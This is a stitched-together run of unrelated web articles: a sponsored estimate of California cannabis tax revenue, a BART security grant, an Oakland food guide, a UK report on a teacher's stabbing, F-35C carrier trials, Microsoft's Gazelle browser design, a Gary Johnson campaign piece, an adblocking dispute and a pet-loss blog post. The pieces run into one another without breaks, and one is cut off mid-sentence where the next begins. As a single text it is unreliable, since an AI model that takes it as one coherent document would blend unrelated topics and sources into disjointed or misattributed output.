This post is brought to you by the fine folks at Medithrive, a medical cannabis dispensary we recommend. Their new storefront at 1933 Mission St is dope, and so are their flowers. Check out the menu here.
San Francisco (CA) – Legal pot for all California adults will be on the ballot this November. How huge of a tax windfall would this create? What could California buy with that money? According to the latest state Attorney General assessment, the Adult Use Of Marijuana Act on this November’s ballot would generate an additional $1 billion per year in CA tax revenue.
“It’s extremely difficult to try to estimate the revenue associated with cannabis in California,” Drug Policy Alliance spokesperson Amanda Reiman told BrokeAssStuart.com. “People have tried to banter around numbers, but the Attorney General is really the first entity charged with trying to come up with an actual, legitimate ballot estimate. The $1 billion makes a lot of sense.”
So what would that $1 billion buy California taxpayers these days? Funny you should ask, the Broke-Ass Sacramento Tax Assessment I-Team has the statistics ready.
What $1 Billion Buys The State of California
2,320 NEW TEACHERS
Oh, would SFUSD and LAUSD love to have so many new teachers. With an average starting salary of $43,091, California could hire more than 2,320 new teachers with just one year’s worth of marijuana taxes.
HOUSING FOR 57,000 HOMELESS PEOPLE
We could house all of the homeless people in both San Francisco and Los Angeles with that $1 billion. There are an estimated 7,000 homeless people in San Francisco and about 46,000 homeless people in Los Angeles. The city of San Francisco spends an average of $17,353 per person for homeless people using supportive housing programs. At that rate, $1 billion would house 57,626 of California’s homeless. Bam, homeless problem solved!
A BAY BRIDGE THAT DOESN’T FALL APART
Most of the overall $6.5 billion cost of the Bay Bridge is already paid for, but tollpayers will have to foot the $15 million bill for the already-corroded “high-strength” steel rods. Additional cannabis tax revenue could shift that cost from drivers, so tolls wouldn’t have to increase again.
GIVE HEALTH INSURANCE TO 167,000 PEOPLE
The California Health Care Almanac estimates that single coverage for one Californian costs $5,970 per year. At that rate, the $1 billion provides coverage for 167,504 people.
SEND 183,000 KIDS TO COLLEGE
The average annual tuition for a California state university student is $5,472, according to California Colleges.edu. A billion dollars would pay for 182,748 of those annual tuitions.
Of course, California would not spend this money on specifically these things. Inevitable budget shortfalls happen in California, and certain amounts of that $1 billion are already earmarked for mental health and substance abuse programs, or additional research.
And the billion dollars is not guaranteed. “A lot of it is going to depend on how localities embrace commercial cannabis activity,” Ms. Reiman told BrokeAssStuart.com. “So if a lot of cities across California ban cultivation and dispensing and manufacturing, obviously we’re not going to see as much revenue generated, which is going to reduce the amount of taxes we’re able to collect.”
That said, if your city did not dispense marijuana you would probably just hop one city over. So the billion dollar annual figure is very realistically attainable. We hope these estimates help you get your head around what that billion dollars could do for California, and what you should do when the Adult Use Of Marijuana Act appears on the November 2016 ballot.The Department of Homeland Security today awarded BART $12.8 million in Transit Security Grant Program funds to enhance security and help protect the Transbay Tube, one of BART’s most critical assets.
“These federal funds are critical in helping BART pay for needed enhancements to our existing robust security system which protects us from potential vulnerabilities,” said BART Police Chief Kenton Rainey. “The funds will be combined with state and local money to protect the Transbay Tube and the riders who travel through it daily.”
The money also helps fund BART’s Critical Asset Patrol Teams who provide high visibility police presence in the core of the system. The team is made up of eight highly trained personnel who specialize in anti-terrorism prevention and detection.
BART’s Congressional Delegation, including Leader Nancy Pelosi, Senator Dianne Feinstein, and Representatives Eric Swalwell, Barbara Lee, Mike Honda, Jackie Speier, Zoe Lofgren, and George Miller supported BART’s request to the Department of Homeland Security and played a role in securing the funds which will help protect their constituents who ride BART.
Democratic Leader Nancy Pelosi said, “In awarding this grant to BART, I applaud the Department of Homeland Security for providing critical resources to assist in maintaining the security and emergency preparedness of the San Francisco Bay Area.”
Rep. Eric Swalwell said, “I am proud to have led a letter to Department of Homeland Security urging that BART receive the resources it needs to keep its passengers and infrastructure safe. The funding awarded today will go a long way to securing the Transbay Tube and ensuring the safety of mass transit in the Bay Area.”
The Department of Homeland Security issues Transit Security Grants to provide funds to transit systems to protect critical transportation infrastructure and the traveling public from potential acts of terrorism.Welcome to the kickoff edition of CHOW’s Destination Guides, in-depth profiles of cities worth eating around. First up: Sarah Henry’s culinary love letter to Oakland, San Francisco’s spirited neighbor to the east.
Cut the “gritty” crap: From street eats to fine dining, these days the food scene in Oakland, California, is glittery. Restaurants in this art, music, and style hub are less pricey and pretentious than their cousins in San Francisco, less politicized than their siblings in Berkeley. But no comparisons are necessary: Oakland is a town where creative types—including chefs, urban farmers, and edible entrepreneurs—can still take risks. Here are 10 reasons to celebrate Oakland’s culinary life.
1. THE KITCHEN SISTAHS
All that kvetching around the country about not enough women behind the stoves? Not a problem here. Both as owner-operators of neighborhood spots and head chefs at destination restaurants, girls rule. It’s an exciting time for female talent in this city, where women do their own thing across a range of cuisines. In Old Oakland, Caribbean soul food is the focus at Sarah Kirnon’s Miss Ollie’s (think skillet-fried chicken, salt fish, and plantains). Practically right next door at Cosecha, Dominica Rice-Cisneros cooks Mexican fare with a Northern California approach to sourcing—even humble dishes like tortas or beans ooze flavor. In Uptown, Kim Alter favors contemporary and farmers’ market fresh at Daniel Patterson’s Plum (relaunching soon as Ume), while in Temescal, Julya Shin keeps the Cal-Med fires blazing at Pizzaiolo. Also in Temescal, Chef Preeti Mistry (pictured) draws a diverse crowd for her modern twist on chaat and other Indian-influenced dishes at Juhu Beach Club. In West Oakland, Tanya Holland pays homage to soul food at Brown Sugar Kitchen (the chicken and waffles have a following approaching cult); her second spot, B-Side BBQ, serves smoked meats, greens, okra, and creamy mac ‘n’ cheese. Self-taught chef Silvia McCollow offers a refreshing spin on coastal Mexican at Nido in Jack London Square, and at Stag’s Lunchette, Alexeis (Lexi) Filipello keeps the sandwiches nearly as meaty as her charcuterie platters at Bar Dogwood in Uptown.
2. THE BOYS’ CLUB
As for the guys, they’ve got swagger: Four chefs preside over multiple concepts, spanning some pretty varied food, even by Oakland standards. At Commis, a storefront without a sign on Piedmont Avenue, local-kid-turned-Michelin-starred-chef James Syhabout (above) coaxes elevated flavors from humble ingredients. Hawker Fare, his rice-bowl place in Uptown, is a labor of love (his mom had a Thai restaurant in the same space), and last year in Rockridge, Syhabout added the stepped-up pub grub Box and Bells to his portfolio. Chef Daniel Patterson oversees, Plum, the chic neighborhood spot in Uptown; its baby sis Plum Bar; and in Jack London Square, Haven. Chris Pastena counts the casual Chop Bar and Italian-influenced Lungomare in Jack London Square in his mini empire, which also includes gastropubby Tribune Tavern downtown. Chez Panisse alum Charlie Hallowell is behind Pizzaiolo and its younger sibling Boot and Shoe Service on Grand Avenue, also the site of his latest, Penrose, which favors Middle Eastern and North African flavors.
3. THE AUTHENTICALLY AUTHENTIC
Oakland is a bit like an urban public school: It doesn’t need to talk up its diversity, it’s just … diverse. The town comes by that pedigree genuinely, like the Mexican food on tap in this city. Fruitvale boasts taco trucks and food stands noted as far afield as The New York Times. Street-food-savvy John Birdsall favors the unpretentious fare at Pipirin, Tacos los Michoacanos (above), and Tacos El Grullo. And he wagers that over at Taqueria Campos Ana Maria Campos has been serving Fruitvale’s best posole, menudo, and goat birria from her small kitchen in a Popsicle-orange taco stand next to a park since 2006. Meanwhile, in a brick-and-mortar business at the Oaksterdam edge of Uptown, eaters enjoy the chanclas found at Manny and Rosy Torres’s Molcajete. The couple also owns the taqueria Antojeria Mexicana el Chilar, a few blocks away.
4. THE CULINARY MASH-UPS
Not fusion, but cross-cultural mash-ups by chefs of mixed heritage. At Preeti Mistry’s Juhu Beach Club, the chef’s Ohio upbringing meets her Northern California sensibility in the ghee-grilled Bombay sandwich, which features Jack cheese, chaat masala, pickled onions, Chioggia beets, and Yukon Gold potatoes. In Uptown the quirky Hopscotch exudes a retro diner aesthetic, has a whiskey-based bar program, and showcases Chef Kyle Itani’s Franco-Cali-Asian interests—think fried green tomatoes with house kimchi, pickled green garlic, and black vinegar–mustard gribiche. (Itani’s Friday late-night ramen fests may be one of the worst-kept secrets in Oakland.) And then there’s FuseBox—see John Birdsall’s take on Sunhui Chang’s modern Korean joint (above), with nods to Northern California (and a smidge of Guam) in the industrial heart of West Oakland.
5. THE BREAKFAST SET
Move over Blue Bottle, Oakland has another coffee roaster in town. Meet new kid on the block Keba Konte (video above), co-owner of Guerilla Café in Berkeley, known for airy waffles and activist art. After tinkering with bean blends and roasting techniques, Konte recently launched his own microroasting operation, Red Bay Coffee, in a garden garage at his home in the Fruitvale neighborhood of East Oakland. Find Red Bay brewed at enlightened Oaktown restaurants like Miss Ollie’s, Kingston 11, and the upcoming Township, and in bean form at Mandela Marketplace in West Oakland. Combine with a Baron Baking bagel—OK, baker Dan Graf just moved so technically he’s in Berkeley, but he launched his New York–style bagel business in Oakland and sells to Stag’s and Chop Bar. There’s no arguing with the hometown appeal of the wood-oven Montreal–style bagels from Beauty’s Bagel Shop—owners Blake Joffe and Amy Remsen created an instant neighborhood vibe on the edge of Temescal.
6. THE SEASONED CHEFS
Reinvention rocks here. Paul Canales, who spent 15 years running the kitchen at the iconic Oliveto in Rockridge, is now creating his own vision in Uptown at Duende, inside the historic gem known as the Floral Depot. Canales’s Basque-inspired bites are an homage to his family background (chefs in this town tend to dig deep into their cultural roots). Traditional dishes like tapas, paella, and pintxos shine. Other Oakland hot spots featuring restaurant vets include two Rockridge restaurants: Ramen Shop (above), an industry favorite run by Chez Panisse alums, and A16, a San Francisco transplant finding its Oakland groove.
7. THE NEWLY BRICK & MORTARED
Food trucks, pop-ups, kitchen incubator programs, farmers’ market stands—Oakland is a place where it’s still possible for these businesses to morph into permanent homes. Market fish-taco vendor Cholita Linda recently opened its doors in a bright space in Temescal. The Cook and Her Farmer is slated to open in May in Swan’s Market in Old Oakland—expect California coastal meets Southern comfort from Chef Romney Steele, whose family runs the landmark Big Sur restaurant Nepenthe, and her business partner with Southern roots, Steven Day. Steele is a former tenant at Kitchener Oakland, the food incubator set to launch its own snack bar next month, with scones from Tart! Bakery, empanadas courtesy of Javi’s Cooking, and cold-pressed beverages by Uptown Juice Company. And this summer, Gail Lillian of the food truck Liba Falafel will open her doors just down the street from Stag’s. Nearby there’s Marrow, from former mobile vendor Jon Kosorek. And Kingston 11, which began as a pop-up by Nigel Jones (above, right, with partners Adrian C. Henderson and Andre King), is already drawing crowds to its new space in the Koreatown Northgate neighborhood (KONO).
8. THE URBAN FARMERS
Oaklanders just like to get dirty. There’s best-selling author Novella Carpenter, of Farm City and Ghost Town Farm blog fame, who co-wrote an almanac, The Essential Urban Farmer, with the founder of West Oakland’s City Slicker Farms, Willow Rosenthal. Then there’s ex–City Slicker Abeni Ramsey (above), an urban grower, who initially raised food to feed her family out of necessity. Ramsey’s about to launch an ambitious double-whammy in Uptown. Her restaurant Township will feature the city’s only rooftop garden and edible green wall, while a companion shop, City Girl Farmstore, is slated to sell seeds, starters, and other accouterments for urban growing. The store joins Pollinate Farm & Garden, another urban farm supply retailer, which launched in Fruitvale last year. Meanwhile, WOW Farm (short for West Oakland Woods) teaches local high school students about the business of farming. They sell their organic produce to the restaurant Flora in Uptown.
9. THE CULINARY COUPLES
Camino on Grand Avenue—launched in 2008—continues to be a popular spot for restaurant insiders and dining civilians. It’s the creation of live-fire lover Chef Russell Moore (above) and his wife, Allison Hopelain; Moore is another veteran of Alice’s kitchen. Husband-and-wife team Rebekah and Rich Wood own the rustic Rockridge bistro Wood Tavern, packing them in since 2007. Newbie chef couples include Fred and Elizabeth Sassen at charming Homestead on Piedmont Avenue, and Melissa Axelrod and William Johnson, who share kitchen duties at Mockingbird on the outskirts of Uptown.
10. THE TRAILBLAZERS
The flurry of new culinary energy in Oakland shouldn’t distract from the pioneers who took chances on untested neighborhoods ahead of the pack. Kudos to Dona Savitsky and Thomas Schnetz, who led the way in Temescal with upscale Mexican food at Doña Tomás (it opened all the way back in 1999). The business partners followed up with three venues clustered in Uptown: restaurant Flora in 2007, the taqueria Xolo in 2011, and the bar Fauna in 2012. Hats off to Tamarindo, the elegant game-changer in Old Oakland, which began serving traditional Mexican cuisine in 2005. And in Uptown, Luka’s deserves credit for kick-starting the culinary revival there back in 2004 with its hearty brasserie offerings.
PHOTO CREDITS Juhu Beach Club’s Preeti Mistry by Chris Rochelle; James Syhabout from SinghaBeerUSA.com; Tacos los Michoacanos’s birria by John Birdsall; hamachi crudo at FuseBox by Chris Rochelle; Keba Konte video from 8 Factors on Vimeo; the Ramen Shop by Flickr member Sharon Hahn Darlin under Creative Commons; Kingston 11’s Adrian C. Henderson, Andre King, Nigel Jones from Kingston 11 / Facebook; Abeni Ramsey from PBS/Food Forward; Camino’s Russ Moore by Flickr member star5112 under Creative Commons; Flora’s sign by Flickr member Hitchster under Creative Commons.After the attack he boasted online: 'I stick the blade straight in his tummy'
The 14-year-old schoolboy (pictured during arrest) admitted stabbing supply teacher Vincent Uzomah at Dixons Kings Academy in Bradford in court today
A 14-year-old schoolboy who stabbed a supply teacher in a row over a mobile phone later boasted on Facebook, 'Motherf***** gettin funny so I stick the blade straight in his tummy.'
The teenager, who cannot be named, was arrested after 50-year-old Vincent Uzomah was stabbed in the stomach at Dixons Kings Academy in Bradford on June 11.
He appeared at Bradford Youth Court today where he denied attempted murder but admitted causing grievous bodily harm with intent.
The court heard how the 'dangerous and unpredictable' youngster confessed to police 'I'm really sorry for stabbing my teacher, I don't know what's wrong with me' after the attack during a science lesson.
The boy, who has previous convictions for attempted robbery and battery and was on bail for burglary at the time of the stabbing, sat in the dock flanked by two security guards today.
Wearing blue jeans, a grey shirt and a black puffa-style jacket, he said 'yes, sir' when he confirmed his name and spent much of the rest of the 11-minute hearing with his head bowed.
His plea was accepted by the Crown Prosecution Service and Judge Jonathan Durham Hall QC said the boy will be sentenced at a later date.
Mr Uzomah, a married father-of-two, was taken to hospital after being stabbed in a row over a mobile phone, which the pupil was asked to hand over.
During the confrontation, the 50-year-old Nigerian teacher was stabbed once in the stomach with a kitchen knife.
Described by police as Asian with short dark hair, the schoolboy fled the school in his uniform shortly after the incident, which occurred at about 9am.
Teachers later appealed for the teenager to hand himself in and he was arrested by police in the city centre following a six hour search - a move caught on video by bystanders.
It later emerged the teenager had been at the school for around a year and that there had been previous problems with his behaviour.
Pupils in the Year 10 science class who witnessed the attack claimed it was the result of a row over a mobile phone.
One 13-year-old girl said she saw Mr Uzomah 'hunched' over in a corridor with blood pouring from his stomach.
'We were in the classroom next door and it was really hectic and then we heard that a teacher had been stabbed by a student,' she said.
Another said: 'I heard the boy stabbed the teacher because he took his phone off him. I was disgusted.'
The case was not opened today but Judge Durham Hall said: 'This is a very troubling case.'
Supply teacher Vincent Uzomah, 50, was stabbed in the stomach during a science lesson in front of pupils in an alleged row over a mobile phone. The Nigerian has since been recovering at home from his injuries
The teenager was tracked down after fleeing the school and was found in Bradford City Centre where he was arrested. He denied attempted murder but admitted causing grievous bodily harm with intent in court today
He said the teenage boy was 'undoubtedly a very troubled young man' and said Mr Uzomah was 'a very brave and compassionate victim'.
He said he agreed with the CPS decision not to proceed with a charge of attempted murder, saying it would be very difficult to prove the defendant had an intention to kill.
As the boy left the dock the judge thanked him.
He said: 'Your plea has been noted, very proper, at a very early stage. Thank you.'
He said a psychiatric report and a pre-sentence report needed to be prepared before sentencing could take place.
The boy was watched by two members of his family from the public gallery as he was led away. Mr Uzomah was not in court.
At an earlier hearing at Bradford Youth Court on June 13, magistrates heard how the incident took place during a BTEC science lesson.
Prosecutor Anzal Hussain said: 'The defendant had a mobile phone on him, which went off. The teacher asked him to hand it over.
'The defendant walked towards the door and the teacher assumed he was going to pass the phone over to him.
'But the defendant stabbed the teacher and then ran from school.'
After the stabbing the teenager bragged on Facebook: 'Motherf***** gettin funny so I stick the blade straight in his tummy'.
During police interviews he remained silent, but provided a prepared statement, part of which read: 'I'm really sorry for stabbing my teacher, I don't know what's wrong with me.'
Mr Uzomah (left) lives with his wife, Uduak Imeh-Uzomah (right) in a semi-detached home in Leeds where neighbours described him as a 'lovely guy'. He was working as a supply teacher across the North West
Mr Uzomah was stabbed in the classroom in front of pupils at Dixons Kings Academy (pictured) in Bradford
Following the incident, Mr Uzomah was taken to hospital but released a few days later following surgery.
He later issued a statement thanking people for their support.
He said: 'I wish to express my heartfelt gratitude to God and to everyone for all the support that myself and family have received during the course of the traumatic event of my life.
'It has been 12 days since this event occurred and I thank the Lord Jesus for sparing my life.'
Mr Uzomah, who has worked as an extra on the soaps Emmerdale and Coronation Street, thanked the doctors and nurses who helped him and the staff at the Dixons Kings Academy.
He said: 'My family and I appreciate the overwhelming support, love and care that we have received from friends and well-wishers, as I continue on the path towards recovery. Thank-you all.'
His casting agency said: 'Vincent is a very nice, reliable, bubbly guy. He's genuine and easy to get on with.'
Neighbours of the supply teacher, who lives with his wife Uduak Imeh-Uzomah and their children Samuel, 12, and Glory, 11, in a £150,000 semi-detached house in Leeds, also described him as being friendly and a 'lovely guy'.
There was a heavy police presence at the school in the wake of the attack which occurred at 9am on June 11
Police cars could be seen outside the school gates on June 11 after Mr Uzomah was stabbed in the stomach
The teacher, who suffered non-life threatening injuries, works across Bradford as a supply teacher to fund his own higher education, spending his spare time working towards a PhD at the University of Salford.
His next-door neighbour described him as a 'lovely' guy who is an asset to the community.
'We have spoken about how naughty the children were,' he added.
A woman who lives on the same street said: 'I often see him and his wife and children and they are all very friendly.'
Police arrested the teenager six hours after he fled the school after releasing an appeal for his whereabouts.
Video footage emerged of the arrest and showed the youngster being led away after being told he was being arrested on suspicion of attempted murder. He was also found in possession of cannabis when he was arrested.
The teenager was remanded in custody today and will now be sentenced for the lesser charge of grievous bodily harm with intent at a later date, probably in August.
The attack on Mr Uzomah caused shock in Bradford and took place only 15 miles from Corpus Christi Catholic College in Leeds, where veteran Spanish teacher Ann Maguire was stabbed to death in April last year.The US Navy continued a three-year campaign to build the Lockheed Martin F-35C’s sea legs with the third and last shipboard deployment of the development test phase for the carrier-based variant starting on 14 August.
Five production aircraft from the navy’s Eglin AFB-based training squadron joined two test F-35Cs — numbered CF-3 and CF-5 — onboard the USS George Washington aircraft carrier in the Atlantic Ocean for a two-seek series of flight tests, as well as deck and hangar suitability checks.
The third carrier deployment since November 2014 for the single-engined fighter is focusing on expanding the F-35C’s flight envelope with take-offs and landing, including various configurations of external stores, a semi-automated landing mode called Delta Flight Path and take-offs and landings in cross-wind conditions.
The F-35C also is being scrutinized for how its redesigned arresting hook performs the George Washington’s flight deck. In the first round of carrier testing aboard the USS Nimitz in November 2014, the F-35C’s resculpted tailhook performed flawlessly, with no unplanned missed landings in 122 attempts, according to a 2016 report by the Pentagon’s Office of Test Evaluation. Such testing includes some planned missed approaches to evaluate how the aircraft performs during a go-around.
But a follow-up deployment last October aboard the USS Dwight D. Eisenhower resulted in seven “bolters” in 62 attempted carrier landings. Those results may have been skewed, however, because one of the four arresting wires on the Eisenhower’s deck was out of service during the demonstration.
In dozens of attempted landings from 14 August to 17 August on the Washington, the F-35Cs had reported no unplanned missed landings, according to the F-35 joint programme office.
Carrier suitability also evaluates how the F-35C is maintained at sea. Operations require maintainers to perform checks of engines and auxiliary power units (APUs) below-deck inside the carrier’s hangar. The functional APU in the F-35C — Honeywell’s integrated power package (IPP) — vents hot exhaust upward from the top of the fuselage. The navy’s maintainers are monitoring whether the heat damages the hangar ceiling and how the emissions escape from within the hangar bay.
The F-35C also introduces a new innovation in flight controls for cold-sweat-inducing carriers landings. Under the “Magic Carpet” programme, the navy integrated direct lift controls into the throttle and coupled that with a new Delta Flight Path law to partially automate the glideslope path, with the pilot required to make only minor corrections after “calling the ball” on final approach to the carrier.
Passing the carrier qualifications is one of the final steps in the overall F-35 programme’s 15-year-old system development and demonstration (SDD) programme. The F-35C is scheduled to become the last of the three variants to achieve initial operational capability in 2018, following operational clearances for the US Air Force’s F-35A in July and the Marine Corps’ F-35B a year before.
So far, only the US Navy and Marine Corps plan to buy C-model, with the former taking 260 and the later 80. With longer and folding wings, strengtehend landing gear and additional control surfaces, the F-35C is optimised to be operated at sea.
The 13.1m (41ft) wingspan is longer than the F-35A and F-35B by 2.4m, but has recently hit a snag. Last October, a front spar of an F-35C in a durability test rig cracked at 13,731 simulated flight hours, or nearly 6,000 flight hours beyond the type’s required service life. Even so, the programme office is developing a fix using conventional methods, such as cold working and local strengthening. After 20 more hours of durability testing, two new cracks were discovered on either side of a fuselage bulkhead on the F-35C. Those cracks were still under investigation as of last March.
All photos courtesy of Lockheed MartinBy Sterling “Chip” Camden
Contributing Writer, [GAS]
You must be wondering how you entered a parallel universe in which a [GAS] headline can include the words “Microsoft”, “browser”, and “secure” — without the words “not”, “disaster”, or “joke”. And given the history of security flaws in Internet Explorer over the years, the folks at Redmond need to put a whole lot of money where their mouth is when they claim to be developing a browser that implements a better security model than Firefox, Google Chrome, or even OP (PDF). But that’s exactly the claim of a team at Microsoft Research, where they’ve developed a prototype and written a paper (PDF) about a proposed web browser they call “Gazelle.”
Both Chrome and OP have already explored the idea of achieving greater security and reliability by creating separate processes to manage different concerns within the browser. Gazelle uses the same idea, but draws the lines between processes a bit differently. In Gazelle, the Browser Kernel (BK) manages all direct access to the operating system and the network. Individual page-rendering processes may only access these resources indirectly, via an API through the BK.
Gazelle also strictly enforces process separation along same-origin policy (SOP) lines. If you have a web page that embeds an iframe that’s sourced from a different domain, for example, Google Chrome hosts that entire page including the iframe within the same process. In Gazelle, each domain-host-protocol source gets its own process. The process for the iframe renders the display for the area that it occupies as a “tenant”, but has no access to any part of the page outside that area. The main page, or “landlord”, manages the dimensions of the iframe, but has no access to the content within it. Neither process manipulates the screen directly — that’s relegated to the BK.
Gazelle’s SOP rules are also more strict than those of existing browsers. Subdomains are not considered the same origin as their parent domain — so a script hosted at scripts.mydomain.com would not have access to elements of a page hosted at mydomain.com, for instance. However, a path (e.g., mydomain.com/scripts) would still be considered part of the same origin.
Unlike the OP browser, Gazelle does not separate JavaScript, CSS, and HTML handling into separate processes. Microsoft researchers feel that such a separation adds no real security benefit, while adding a significant interprocess communication overhead. So Gazelle combines everything required to render content from a single source within a sandboxed process. That process is paired with a sandboxed instance of browser plugins to form what is called a “principal”. Principals can communicate with the BK and with each other, but only through the defined API. Plugins operate under the same source restrictions as web content, so they only have access to page content that comes from the same origin as the plugins themselves.
The team has put quite a lot of thought into how to handle user-generated events as well. In general, a mouse click for example gets forwarded to the principal in charge of the area occupying that screen real estate. Topmost window wins, and every principal’s assigned area must be opaque — eliminating many types of clickjacking vulnerabilities.
The prototype version of the browser reportedly works reasonably well — the team has identified many areas for improvement, but it displayed 19 out of the top 20 Alexa-ranked sites without any issues. Performance will need work — which shouldn’t be a surprise given the design of the prototype: the BK is written in C#, and the browser instance is a Trident WebControl wrapped in an “interposition layer” of code that prevents the WebControl from doing anything directly with the system or the network. We can only hope, should Gazelle become a production browser, that Microsoft would abandon Trident in favor of a more standard and better-performing rendering engine.
Source: The Multi-Principal OS Construction of the Gazelle Web Browser (PDF)At the Republican National Convention on Tuesday, Donald Trump officially became the party's presidential nominee. The nomination, almost guaranteed since May, was anything but expected before primary voting began, as the businessman and reality TV star's candidacy, and politics, are far from typical. Hours after the nomination, Libertarian Party candidate Gary Johnson made his pitch to disenchanted Republican voters, saying that he is running against Trump specifically. A businessman himself, the former New Mexico governor contrasted his fiscally conservative and socially moderate-to-liberal platform with what he described as Trump's exclusionary politics.
"Despite the calls at the GOP convention in Cleveland for national unity, Donald Trump sees our country as a land of exclusion," Johnson wrote in POLITICO. He particularly criticized Trump's positions on free trade and immigration, the Republican candidate's core issues. Building a wall on the U.S./Mexican border, deporting undocumented immigrants, and limiting the import of goods from other countries like China and Mexico in order to create more jobs in America are three of his most-touted campaign promises.
Johnson, and the Libertarian Party, are for small government in all areas, from immigration to trade to personal liberties. Concerning trade, Johnson supports a reduction of barriers to trading with other countries, not greater restrictions. And his tune is similarly antithetical to Trump's on immigration; after stating that only a very small percentage of undocumented immigrants pose any kind of threat to Americans, Johnson said, "The vast majority are here seeking opportunities and better lives, and they wouldn't be 'illegal' if we had a functional system that made 'legal' immigration a viable option for those excluded by arbitrary quotas and bureaucratic paralysis."
MOLLY RILEY/AFP/Getty Images
Johnson also took a dig at Trump's vice presidential pick, former Indiana Gov. Mike Pence, for perpetuating divisiveness in his state. "In Indiana, Governor Pence unwisely pushed a law that pitted religious freedom against the rights of gays and lesbians, and then backtracked on religious freedom." Back in May, Johnson stated that religious freedom laws that allow people to deny services to others based on religious beliefs "are really just a way to discriminate against gay individuals, the LGBT community."
Johnson described Trump's nomination as the death knell of the Republican Party, comparing it to the fate of the Whigs. In 1848, outsider candidate Zachary Taylor was elected president under the Whig Party. His ineffective one year in office (at which point he died) is largely credited with the party's dissolution. Johnson sees a similar fate on the horizon for the Republican Party with Trump at the helm, and he sees this as the perfect opportunity for a different party to rise up.
Of course, the Republican Party has been established for much longer than the Whig Party, which was only a thing |
adblockers to stop them. It's an unwinnable, downward spiral.
Starting with Adblock Plus 2.0, not all advertising was blocked; in fact, if an ad meets the criteria for being "acceptable," then it shows up by default. Surfers can disable that feature, usually by unchecking "allow non-intrusive advertising," or under filter lists options like below, but the thought process is to leave it enabled to reward websites that rely on "non-intrusive" ads for revenue.
By not blocking acceptable ads, Eyeo believes it will show there is a market for them and encourage advertisers to create more. As part of that cycle, the company wants people and organizations to sign its "Acceptable Ads Manifesto;" the five principal tenets are:
Acceptable Ads are not annoying.
Acceptable Ads do not disrupt or distort the page content we're trying to read.
Acceptable Ads are transparent with us about being an ad.
Acceptable Ads are effective without shouting at us.
Acceptable Ads are appropriate to the site that we are on.
So far, only five companies have signed the manifesto; they are Adblock Plus, Reddit, Customer Commons, PageFair and The Anti-Advertising Agency.
It's easy to see the dilemma; while we want great content for free, most websites providing that content can't do it for free and must make money somehow. That brings us to an interesting, yet infuriating, CNET interview in which Mike Zaneis, general counsel for Interactive Advertising Bureau, described a "counterattack" plan to start "blocking the blockers."
Although Zaneis makes the threat of ad-blockers sound dire, some sites experience "less than 5%" of users blocking ads. Yet he more-or-less said ad blockers are the devil and will be the reason why more websites will wall-off their content behind a paywall or choose to block content from surfers who block ads. In the block the ad-blockers scenario, instead accessing the content, there could be an error message saying you can't see it because you have enabled an ad-blocker.
IAB's "counterattack" plan has far-reaching potential since IAB is not some little group; it "is comprised of more than 600 leading media and technology companies that are responsible for selling 86% of online advertising in the United States."
Although it seems like the acceptable ads manifesto could be the best compromise as non-annoying ads would not be blocked, Zaneis called the manifesto "a ransom note. These people are no better than Internet pirates facilitating the theft of content. To do it under the guise of 'these ads aren't acceptable' is a complete facade. It's a sham. They block all ads by default."
Adblock Plus does not block all ads, but Zaneis maintains it does unless a "ransom" is paid to the for-profit company behind free plug-in. "The hypocrisy is outrageous," he added.
Since paywalls are generally not very well received, and most sites are unlikely to migrate behind one, Zaneis said, "The next logical solution is that people won't give away content and services to folks who aren't part of the value chain [those using ad blockers]."
The whole interview is worth a read, whether you agree with blocking ads or not, but Zaneis claims people don't mind ads and having their lives data-mined. "People understand being marketing to. My grandparents were marketed to their entire lives. The oldest form of advertising in this country is the Sears catalog. People are OK with that."
Perhaps people were OK with a physical catalog, but it didn't track your every step; a hard-copy magazine didn't data-mine what interested you, or create a profile that is sold to advertisers.
Zaneis said, "The Internet is the greatest revolution of our time, and it's supported by ad revenue. So there's a consumer revolt against it? The exact opposite has happened. It's a wild success."
Yes online ads are a money-making success that are so intrusive the majority of people still don't understand the basics of how ads invade their privacy, nevertheless understand more complicated cross-device ad tracking in which your online behavior is tracked as one profile across multiple devices.my heart is bleeding because my Jack is now gone. Zelda preceded him - you can read my tribute to her and their companionship here …so I am trying to makefeel better by helpingappreciate animals on my digital etch a sketch. god this hurts….Jack died today...we saved him from euthanasia a dozen years ago -- by five minutes...wrote about him and his girlfriend Zelda in my 2nd book...he missed her so much. She died a year and a half ago. Heart broken.I am feeling very defeated by the sadness of all of the shelter beings who are killed each second. Our life with Jack and Zelda held great meaning. We won through our caring...through our saving of their lives. I heartily recommend taking a chance on saving lives. All living beings matter.my husband Don observed, "Learning from our friends with paws is always amazing – I don’t know if Jack was in pain or just very tired – but he never acted upset/bothered/ugly/ or any way other than I am slowly going away. He was a 'dingo' at heart."oh, please watch this video of a dog who lived (literally) in a garbage pile and whose life was transformed with a bit of love.how many of us care about animals here in America...more of us each second are doing our best and encouraging others to speak up and step up for all living beings in OUR country. bless these humans in this video and bless Miley and Frankie. we must set an example... Hey, Russia, follow our lead.as an aside, we have always been so scared of and critical of ole mother Russia and the "commies" and yet we are participating in the Olympics anyway? looking the other way while Putin in his vulgar vanity orders the mass slaughter of stray animals that might get televised during the "festivities" and could block the camera shots???? and we slaughter cattle, pigs, buffalo, deer, sheep, lambs, calves, piglets and domesticated "pets" and strays a bajillion a second...and usually for PROFIT or convenience or just sheer crassness! sick of it all...totally depressing.(Russia and Putin and the Olympics can go take a flying leap...)good-bye our sweet Jack...________________________Malou Björnslätt: "I really feel their pain from losing a dear friend/companion, having lost several non-human soulmates through the years. And at the same time the joy from knowing that they had a good life with caring humans. All animals deserve the best! Fortunately it seems like more and more people care, but there's still a lot of work to be done, spreading information all over the world, making people aware of how their choices affect other living beings. I truly hope that the whole world will end up being vegan some day."Cruzlin Picabo Schubert: "My deepest, most heartfelt condolences ~"Kim Elizabeth Johnson: "So sorry to hear you have suffered the loss of your dear companion Susie! I have a Jack too who is nearly 16. It's the hardest part about opening hearts and homes but we both know we wouldn't have it any other way! ♥"Stephanie Smith: "i am so sorry for your loss. i do know how you feel. i just lost my milo in december from old age and now i am losing my ozzy because i cant afford to get him to the vet. my heart breaks for you; so sorry...i would take all the unwanted if i could but for now i just try to share pages, find homes, and feed any animal that i come across"Mary Beth Purdy Artz: "oh my heart breaks for you Susie. How hard it is. How lucky for Jack to have had such a wonderful soul to take care of him....and vice versa. <3"Kathy Bostwick: "Ohhhh Susie - I am so sorry to hear this - there are no words to relieve the pain you are feeling but please know that I am thinking of you during this difficult time - RIP Jack <3Mary Maday: "So sad, Susie. I do know how you feel. Have had many of my babies go to the Rainbow Bridge. I know he had a good life with you. He was beautiful. I feel your pain - know that for sure."Dianne Hughes: "ONE day we 